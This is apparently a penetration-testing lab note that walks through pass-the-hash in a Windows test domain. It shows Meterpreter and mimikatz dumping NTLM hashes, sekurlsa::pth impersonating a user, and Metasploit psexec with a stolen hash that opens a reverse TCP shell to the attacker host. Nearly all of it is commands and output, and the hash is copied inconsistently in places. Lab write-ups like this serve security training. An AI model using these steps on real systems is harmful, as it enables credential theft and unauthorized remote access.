

pth_notes

load mimikatz

```
meterpreter > load kiwi
Loading extension kiwi...

.#####.   mimikatz 2.1.1 20170608 (x86/windows)
.## ^ ##.   "A La Vie, A L'Amour"
## / \ ##   /* * *
## \ / ##   Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
'## v ##'   http://blog.gentilkiwi.com/mimikatz               (oe.eo)
'#####'   Ported to Metasploit by OJ Reeves `TheColonial` * * */
```

dump ntlm hashes

```
meterpreter > creds msv
[+] Running as SYSTEM
[*] Retrieving msv credentials
msv credentials
=====
```

Username	Domain	LM	NTLM
-----	-----	--	----
ETERNALBLUE\$	HACK		8c408219a6021e925388967bb63da149
localadmin	ETERNALBLUE	921988ba001dc8e14a3b108f3fa6cb6d	e19ccf75ee54e06b06a5907af13cef42
normaluser	HACK	921988ba001dc8e138f10713b629b565	ae974876d974abd805a989ebead86846

Method 1:

upload mimikatz to winxp

```

meterpreter > upload -r /mimi c:\\mimi
[*] mirroring      : /mimi/Win32 -> c:\\mimi\\Win32
[*] uploading      : /mimi/Win32/mimilib.dll -> c:\\mimi\\Win32\\mimilib.dll
[*] uploaded       : /mimi/Win32/mimilib.dll -> c:\\mimi\\Win32\\mimilib.dll
[*] uploading      : /mimi/Win32/mimilove.exe -> c:\\mimi\\Win32\\mimilove.exe
[*] uploaded       : /mimi/Win32/mimilove.exe -> c:\\mimi\\Win32\\mimilove.exe
[*] uploading      : /mimi/Win32/mimidrv.sys -> c:\\mimi\\Win32\\mimidrv.sys
[*] uploaded       : /mimi/Win32/mimidrv.sys -> c:\\mimi\\Win32\\mimidrv.sys
[*] uploading      : /mimi/Win32/mimikatz.exe -> c:\\mimi\\Win32\\mimikatz.exe
[*] uploaded       : /mimi/Win32/mimikatz.exe -> c:\\mimi\\Win32\\mimikatz.exe
[*] mirrored       : /mimi/Win32 -> c:\\mimi\\Win32
[*] uploading      : /mimi/mimicom.idl -> c:\\mimi\\mimicom.idl
[*] uploaded       : /mimi/mimicom.idl -> c:\\mimi\\mimicom.idl
[*] uploading      : /mimi/README.md -> c:\\mimi\\README.md
[*] uploaded       : /mimi/README.md -> c:\\mimi\\README.md
[*] uploading      : /mimi/kiwi_passwords.yar -> c:\\mimi\\kiwi_passwords.yar
[*] uploaded       : /mimi/kiwi_passwords.yar -> c:\\mimi\\kiwi_passwords.yar
[*] mirroring      : /mimi/x64 -> c:\\mimi\\x64
[*] uploading      : /mimi/x64/mimilib.dll -> c:\\mimi\\x64\\mimilib.dll
[*] uploaded       : /mimi/x64/mimilib.dll -> c:\\mimi\\x64\\mimilib.dll
[*] uploading      : /mimi/x64/mimidrv.sys -> c:\\mimi\\x64\\mimidrv.sys
[*] uploaded       : /mimi/x64/mimidrv.sys -> c:\\mimi\\x64\\mimidrv.sys
[*] uploading      : /mimi/x64/mimikatz.exe -> c:\\mimi\\x64\\mimikatz.exe
[*] uploaded       : /mimi/x64/mimikatz.exe -> c:\\mimi\\x64\\mimikatz.exe
[*] mirrored       : /mimi/x64 -> c:\\mimi\\x64
meterpreter >

```

Unable to query domain

```

C:\\mimi\\Win32>net user normaluser /domain
The request will be processed at a domain controller for domain hack.net.

System error 5 has occurred.

Access is denied.

C:\\mimi\\Win32>_

```

Make sure we have debug privileges

```

C:\\mimi\\Win32>mimikatz.exe

.#####.   minikatz 2.2.0 <x86> #18362 Aug 14 2019 01:31:19
.## ^ ##.   "A La Vie, A L'Amour" - (oe.eo)
## / \ ##   /*** Benjamin DELPY 'gentilkiwi' < benjamin@gentilkiwi.com >
## \ / ##   > http://blog.gentilkiwi.com/mimikatz
'## v ##'   Vincent LE TOUX < vincent.letoux@gmail.com >
'#####'   > http://pingcastle.com / http://mysmartlogon.com   ***/

minikatz # privilege::debug
Privilege '20' OK
minikatz #

```

Window will open after passing the hash and now we are able to query domain as normaluser

```
C:\WINDOWS\system32\cmd.exe
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\WINDOWS\system32>net user normaluser /domain
The request will be processed at a domain controller for domain hack.net.

User name                normaluser
Full Name                normaluser
Comment
User's comment
Country code             000 <System Default>
Account active           Yes
Account expires           Never

Password last set        11/26/2019 1:35 PM
Password expires         Never
Password changeable      11/27/2019 1:35 PM
Password required        Yes
User may change password  Yes

Workstations allowed     All
Logon script
User profile
Home directory
Last logon               11/26/2019 1:39 PM

minikatz # sekurlsa::pth /user:normaluser /domain:hack /ntlm:ae974876d974abd805a989ehead86846
user      : normaluser
domain    : hack
program   : cmd.exe
inpers.   : no
NTLM      : ae974876d974abd805a989ehead86846
! PID     3684
! IID     1944
! LSA Process is now R/W
! LUID 0 ; 4330505 <00000000:00421409>
\_ msv1_0 - data copy @ 000E0E6C : OK !
\_ kerberos - data copy @ 00112FF0
\_ rc4_hmac_nt      OK
\_ rc4_hmac_old     OK
\_ rc4_md4          OK
\_ des_cbc_md5      -> null
\_ des_cbc_crc      -> null
\_ rc4_hmac_nt_exp  OK
\_ rc4_hmac_old_exp OK
\_ *Password replace @ 0012FDB0 <8> -> null

minikatz #
```

Method 2:

Make sure that normaluser is under localadmin group

```

C:\WINDOWS\system32>net localgroup administrators
net localgroup administrators
Alias name      administrators
Comment        Administrators have complete and unrestricted access to the computer/domain

Members

-----
Administrator
HACK\Domain Admins
HACK\normaluser
localadmin
user
The command completed successfully.

```

Set below options in msfconsole

```
msf exploit(windows/smb/psexec) > options
```

Module options (exploit/windows/smb/psexec):

Name	Current Setting	Required
RHOST	winxp	yes
RPORT	445	yes
SERVICE_DESCRIPTION		no
SERVICE_DISPLAY_NAME		no
SERVICE_NAME		no
SHARE	ADMIN\$	yes
IN\$,C\$,...) or a normal	read/write folder share	
SMBDomain	hack	no
SMBPass	921988ba001dc8e138f10713b629b565:ae974876d974abd805a989e9ead86846	no
SMBUser	normaluser	no

Payload options (windows/meterpreter/reverse_tcp):

Name	Current Setting	Required	Description
EXITFUNC	thread	yes	Exit technique (Accepted: '', seh, thread, process, none)
LHOST	192.168.40.143	yes	The listen address (an interface may be specified)
LPORT	4444	yes	The listen port

Reverse shell popped

```
msf exploit(windows/smb/psexec) > run
```

```

[*] Started reverse TCP handler on 192.168.40.143:4444
[*] winxp:445 - Connecting to the server...
[*] winxp:445 - Authenticating to winxp:445\hack as user 'normaluser'...
[*] winxp:445 - Selecting native target
[*] winxp:445 - Uploading payload... XusGZmJT.exe
[*] winxp:445 - Created \XusGZmJT.exe...
[+] winxp:445 - Service started successfully...
[*] winxp:445 - Deleting \XusGZmJT.exe...
[*] Sending stage (179779 bytes) to 192.168.40.141
[*] Meterpreter session 1 opened (192.168.40.143:4444 -> 192.168.40.141:1097) at 2019-11-26 01:02:19 -0500

meterpreter >

```